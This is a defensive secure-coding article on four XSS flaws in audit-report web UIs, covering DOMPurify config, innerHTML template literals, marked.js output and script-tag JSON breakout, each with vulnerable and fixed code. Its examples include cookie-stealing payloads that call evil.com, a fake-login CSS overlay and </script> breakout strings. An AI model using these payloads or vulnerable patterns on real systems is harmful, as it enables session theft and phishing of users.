sequence — breaks out of the script tag and injects HTML.", "author": { "@type": "Organization", "name": "SkillAudit", "url": "https://skillaudit.dev/" }, "publisher": { "@type": "Organization", "name": "SkillAudit", "logo": { "@type": "ImageObject", "url": "https://skillaudit.dev/assets/og.svg" } }, "datePublished": "2026-11-07", "dateModified": "2026-11-07", "mainEntityOfPage": { "@type": "WebPage", "@id": "https://skillaudit.dev/seo/claude-skill-escape3-output-encoding-bypass-security" } }
← Blog

Claude skill output encoding and HTML escape bypass in audit report rendering — SA-SKL-ESCAPE3

MCP skill audit reports display user-submitted content — GitHub repository names, README text, skill descriptions, package names — in a web UI. Each rendering path from raw string to DOM has a distinct escape requirement. Using a sanitizer in one place does not protect against bypass via a different rendering vector. SA-SKL-ESCAPE3 covers four bypass patterns: DOMPurify default config allows CSS injection, template literal concatenation into innerHTML, Markdown parsing without post-sanitization, and JSON in HTML script tags with closing-tag injection.

By SkillAudit  |  7 Nov 2026

ESCAPE3-001 — React dangerouslySetInnerHTML with insufficient DOMPurify config leaves CSS injection

DOMPurify's default configuration strips script tags, event handlers (onerror, onclick), and javascript: URLs. It does not by default strip style attributes. In Internet Explorer and older Edge, CSS expressions (style="width: expression(alert(1))") execute JavaScript inside style attribute values. Even in modern browsers, style attributes can be used for CSS injection attacks that change the visual appearance of the page — moving elements off-screen, changing colors, overlaying fake login forms — without executing JavaScript. Additionally, the default DOMPurify configuration allows data attributes, some of which are consumed by JavaScript frameworks and can trigger behavior in custom web components. When rendering untrusted content via dangerouslySetInnerHTML, the minimum safe DOMPurify configuration should restrict ALLOWED_ATTR to a known-safe allowlist, strip style entirely unless CSS injection is acceptable, and set FORCE_BODY to prevent mXSS via context switching in table elements.

// VULNERABLE — ESCAPE3-001
// AuditReport.jsx — DOMPurify used but config is too permissive
import DOMPurify from 'dompurify';

function AuditReportHtml({ htmlContent }) {
  // DOMPurify strips script tags and event handlers but allows style and data-* by default
  const clean = DOMPurify.sanitize(htmlContent);
  // 'clean' may still contain: style="expression(...)" in older IE/Edge
  // and data-* attributes consumed by web component frameworks
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// Attacker submits a GitHub README containing:
// <span style="position:fixed;top:0;left:0;width:100%;height:100%;
//   background:white;z-index:9999">
//   <form><input name="user"><input name="pass"><button>Login</button></form>
// </span>
// DOMPurify default config does not strip this — CSS overlay fake login form
// FIXED — ESCAPE3-001: restrict ALLOWED_ATTR to a known-safe set; forbid style
import DOMPurify from 'dompurify';

// Allowlist only the HTML attributes needed for audit report display
// No style, no data-*, no event handlers (DOMPurify blocks those anyway)
const SAFE_ATTR = ['href', 'src', 'alt', 'title', 'class', 'id', 'lang',
                   'dir', 'target', 'rel', 'width', 'height'];

function AuditReportHtml({ htmlContent }) {
  const clean = DOMPurify.sanitize(htmlContent, {
    FORCE_BODY: true,            // Prevents mXSS via context-dependent parsing
    ALLOWED_ATTR: SAFE_ATTR,     // Explicit allowlist — no style, no data-*
    FORBID_ATTR: ['style'],      // Belt-and-suspenders: explicitly forbid style
    FORBID_TAGS: ['style', 'link', 'meta'], // No external CSS or resource loading
    ADD_ATTR: ['target'],        // Allow target="_blank" on links
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// For the common case of rendering a GitHub README, prefer a Markdown renderer
// that never produces raw HTML output at all — see ESCAPE3-003
HIGH
SA-SKL-ESCAPE3-001 — dangerouslySetInnerHTML with DOMPurify default configuration allows CSS injection via style attributes — attackers embed fixed-position overlays that fake login forms or change page content — fix by passing a restrictive DOMPurify config with ALLOWED_ATTR set to a known-safe list, FORBID_ATTR: ['style'], and FORCE_BODY: true; also forbid style and link tags. Detection: SkillAudit flags React dangerouslySetInnerHTML usage where the sanitize call uses no options object or uses an options object that does not include FORBID_ATTR: ['style'] or restrict ALLOWED_ATTR.

ESCAPE3-002 — Template literal interpolation into innerHTML without escaping

Setting element.innerHTML from a template literal that includes user-controlled values is classic unsanitized innerHTML assignment. It is the browser equivalent of SQL concatenation: the developer treats the input as data but the browser parses it as HTML markup. In an MCP skill audit dashboard built with vanilla JavaScript (not React), it is common to build list items, table rows, or status messages via template literals: element.innerHTML = `<li>${repoName}: ${status}</li>`. If repoName is a GitHub repository name submitted by the user, an attacker registers a repository named <img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)> and the audit dashboard executes the JavaScript when it renders the audit history. The fix is either to use element.textContent for plain text values, build DOM nodes programmatically with createElement and appendChild, or pass the template literal output through DOMPurify before assigning to innerHTML.

// VULNERABLE — ESCAPE3-002
// audit-list.js — template literal injected directly into innerHTML
function renderAuditList(audits) {
  const container = document.getElementById('audit-list');
  // repoName and status come from API response (which mirrors user-submitted URL)
  container.innerHTML = audits.map(a =>
    `<li class="audit-item">
       <span class="repo">${a.repoName}</span>  <!-- DANGEROUS: user-controlled -->
       <span class="status ${a.status}">${a.status}</span>
     </li>`
  ).join('');
  // Attacker submits repoName = '<img src=x onerror="stealCookies()">'
  // → executes JS in the browser of anyone who views the audit list
}
// FIXED option A — ESCAPE3-002: use textContent for plain text values
function renderAuditList(audits) {
  const container = document.getElementById('audit-list');
  container.innerHTML = ''; // Clear safely
  for (const audit of audits) {
    const li = document.createElement('li');
    li.className = 'audit-item';
    const repoSpan = document.createElement('span');
    repoSpan.className = 'repo';
    repoSpan.textContent = audit.repoName; // textContent does NOT parse HTML — always safe
    const statusSpan = document.createElement('span');
    statusSpan.className = `status ${audit.status}`;
    statusSpan.textContent = audit.status;
    li.append(repoSpan, ' ', statusSpan);
    container.appendChild(li);
  }
}

// FIXED option B — ESCAPE3-002: DOMPurify before innerHTML if HTML formatting is needed
import DOMPurify from 'dompurify';
function htmlEscape(str) {
  // For simple cases: replace the 5 HTML metacharacters
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}
function renderAuditListB(audits) {
  const container = document.getElementById('audit-list');
  container.innerHTML = audits.map(a =>
    `<li class="audit-item">
       <span class="repo">${htmlEscape(a.repoName)}</span>
       <span class="status ${htmlEscape(a.status)}">${htmlEscape(a.status)}</span>
     </li>`
  ).join('');
}
HIGH
SA-SKL-ESCAPE3-002 — Template literal strings that include user-controlled values assigned to element.innerHTML without HTML escaping are unsanitized innerHTML XSS — the browser parses the user input as HTML markup and executes embedded event handlers; fix by using element.textContent for plain text, createElement + appendChild for structured output, or an htmlEscape() function applied to every interpolated value before innerHTML assignment. Detection: SkillAudit flags template literal strings assigned to .innerHTML or document.write() where the template contains interpolated variables that originate from API responses or URL parameters.

ESCAPE3-003 — Markdown-to-HTML via marked.js without post-processing sanitization

MCP skill audit reports commonly display the README of the scanned repository — fetched from the GitHub raw API. The README is a user-controlled Markdown document. GitHub's own rendering pipeline strips unsafe HTML from Markdown; the skill's local rendering pipeline often does not. marked.js (the most popular Markdown parser for Node.js) converts Markdown to HTML faithfully, including raw HTML blocks embedded directly in the Markdown. By default (prior to marked 1.0), marked.parse() output includes verbatim raw HTML blocks with no sanitization. GitHub README authors can embed arbitrary HTML: <script>alert(1)</script>, <img onerror="...">, or CSS injection via <style> blocks. When the skill renders this Markdown and injects the marked.parse() output into the DOM, the embedded HTML executes. Post-processing with DOMPurify after marked.parse() closes this vector because DOMPurify strips script tags and event handlers from the already-rendered HTML string before it reaches the DOM.

// VULNERABLE — ESCAPE3-003
// readme-renderer.js — marked.parse() output assigned to innerHTML without sanitization
import { marked } from 'marked';

function renderReadme(markdownContent) {
  const html = marked.parse(markdownContent);
  // html may contain: <script>...</script>, <img onerror=...>, <style>...</style>
  // These are raw HTML blocks that marked.js passes through verbatim from the Markdown source
  document.getElementById('readme-container').innerHTML = html; // XSS
}

// GitHub README with embedded HTML:
// # My MCP Skill
// <script>fetch('https://evil.com/?c='+document.cookie)</script>
// This is my skill description.
// FIXED — ESCAPE3-003: DOMPurify after marked.parse()
import { marked } from 'marked';
import DOMPurify from 'dompurify';

function renderReadme(markdownContent) {
  // Step 1: parse Markdown to HTML (marked does not sanitize raw HTML blocks)
  const rawHtml = marked.parse(markdownContent, {
    // marked 5+: gfm: true for GitHub Flavored Markdown
    gfm: true,
    breaks: false,
  });

  // Step 2: sanitize the HTML output before touching the DOM
  const cleanHtml = DOMPurify.sanitize(rawHtml, {
    FORCE_BODY: true,
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class', 'id', 'lang', 'dir'],
    FORBID_ATTR: ['style'],
    FORBID_TAGS: ['style', 'script', 'link', 'meta', 'iframe', 'object', 'embed'],
    ADD_ATTR: ['target', 'rel'],
  });

  document.getElementById('readme-container').innerHTML = cleanHtml;
}

// Alternative for server-side rendering: use a Markdown renderer that
// never allows raw HTML — set sanitize: true in older marked versions,
// or use remark with rehype-sanitize (allowlist-based, no raw HTML pass-through)
HIGH
SA-SKL-ESCAPE3-003 — marked.parse() passes raw HTML blocks from Markdown source verbatim into output — assigning this output to innerHTML without sanitization allows GitHub README authors to embed script tags and event handlers that execute in the skill's web UI; fix by passing marked.parse() output through DOMPurify.sanitize() before any DOM insertion, with a restrictive config that forbids script, style, link, iframe, and event-handler attributes. Detection: SkillAudit flags marked.parse() calls whose return value is assigned to .innerHTML or dangerouslySetInnerHTML without an intervening DOMPurify call.

ESCAPE3-004 — JSON in HTML script tag with unescaped closing tag injection

Server-side rendering often injects JSON data into an HTML page via a script tag for the client-side JavaScript to consume: <script>const data = ${JSON.stringify(serverData)};</script>. This pattern is vulnerable when any string field in serverData contains the literal substring </script>. The HTML parser encounters the first </script> in the JSON value and closes the script block. The remaining characters — whatever follows the injected closing tag — are parsed as HTML. If the attacker controls any string in the data (a repository name, a package description, a user-supplied audit note), they can close the script tag and inject arbitrary HTML including new script tags. JSON.stringify() does not escape < or > characters because they are valid in JSON strings — only the JSON parser needs to understand them, not the HTML parser. The fix is to escape <, >, and & in the JSON output specifically for HTML script-tag embedding.

// VULNERABLE — ESCAPE3-004
// server.js — JSON data embedded in script tag without HTML escaping
app.get('/audit/:id', async (req, res) => {
  const auditData = await db.getAudit(req.params.id);
  // auditData.repoDescription might contain: "Closes </script><script>alert(1)</script>"
  res.send(`
    <!doctype html>
    <html>
    <body>
    <script>
      // DANGEROUS: </script> inside the JSON value breaks out of the script block
      const data = ${JSON.stringify(auditData)};
      renderAuditReport(data);
    </script>
    </body>
    </html>
  `);
  // If auditData.repoDescription = "foo </script><script>stealCookies()</script>"
  // The HTML parser sees: const data = {"desc":"foo  ← script closes here
  // Then: <script>stealCookies()</script> runs as a new script block
// FIXED — ESCAPE3-004: escape HTML metacharacters in JSON for script-tag embedding
function jsonForScriptTag(value) {
  // JSON.stringify then escape the 3 characters that break script tag context:
  // < > & — these are safe in JSON strings but dangerous inside <script>
  return JSON.stringify(value)
    .replace(/</g, '\\u003c')   // < → Unicode escape (valid JSON, HTML-safe)
    .replace(/>/g, '\\u003e')   // > → Unicode escape
    .replace(/&/g, '\\u0026');  // & → Unicode escape (prevents double-encoding issues)
}

app.get('/audit/:id', async (req, res) => {
  const auditData = await db.getAudit(req.params.id);
  res.send(`
    <!doctype html>
    <html>
    <body>
    <script>
      const data = ${jsonForScriptTag(auditData)}; // </script> in values becomes \\u003c/script\\u003e
      renderAuditReport(data);
    </script>
    </body>
    </html>
  `);
});

// Alternative: use a nonce-based CSP and a separate JSON API endpoint —
// avoid inline script data entirely; fetch the data via <script type="application/json">
// or a fetch() call after page load
HIGH
SA-SKL-ESCAPE3-004 — JSON.stringify() output embedded in an HTML <script> tag is vulnerable to closing-tag injection when any string field contains </script> — the HTML parser closes the script block and treats remaining text as HTML, allowing attacker-controlled repository descriptions or package names to inject and execute new script blocks; fix by replacing <, >, and & with Unicode escapes (<, >, &) in the JSON output before inserting into the script tag, or by moving the data into a <script type="application/json"> tag and reading it via JSON.parse(document.getElementById('data').textContent). Detection: SkillAudit flags JSON.stringify() calls whose output is interpolated into an HTML string containing a <script> tag without the Unicode escape post-processing.

Detection summary

ID Severity Pattern Fix
ESCAPE3-001 HIGH DOMPurify default config + dangerouslySetInnerHTML — style attribute CSS injection survives FORBID_ATTR:['style'], restrict ALLOWED_ATTR, FORCE_BODY:true
ESCAPE3-002 HIGH Template literal with user value assigned to .innerHTML — classic unsanitized assignment XSS element.textContent, createElement, or htmlEscape() on each value
ESCAPE3-003 HIGH marked.parse() output to innerHTML — raw HTML blocks in Markdown pass through unsanitized DOMPurify after marked.parse() with restrictive ALLOWED_ATTR/FORBID_TAGS config
ESCAPE3-004 HIGH JSON.stringify() in script tag — </script> in string value breaks out of script block Replace <>& with <>& Unicode escapes in JSON for script-tag embedding

Related patterns: SA-SKL-POSTMESSAGE covers postMessage origin validation — the XSS execution environment that ESCAPE3-001 and ESCAPE3-002 create for attackers. SA-SKL-UPLOAD3 covers SVG upload XSS — SVG files rendered via innerHTML or as <img src="..."> are another vector for the same injection class. The prototype pollution blog post discusses how pug and handlebars template engines can be exploited via property injection — another form of server-side template injection related to ESCAPE3-003 and ESCAPE3-004.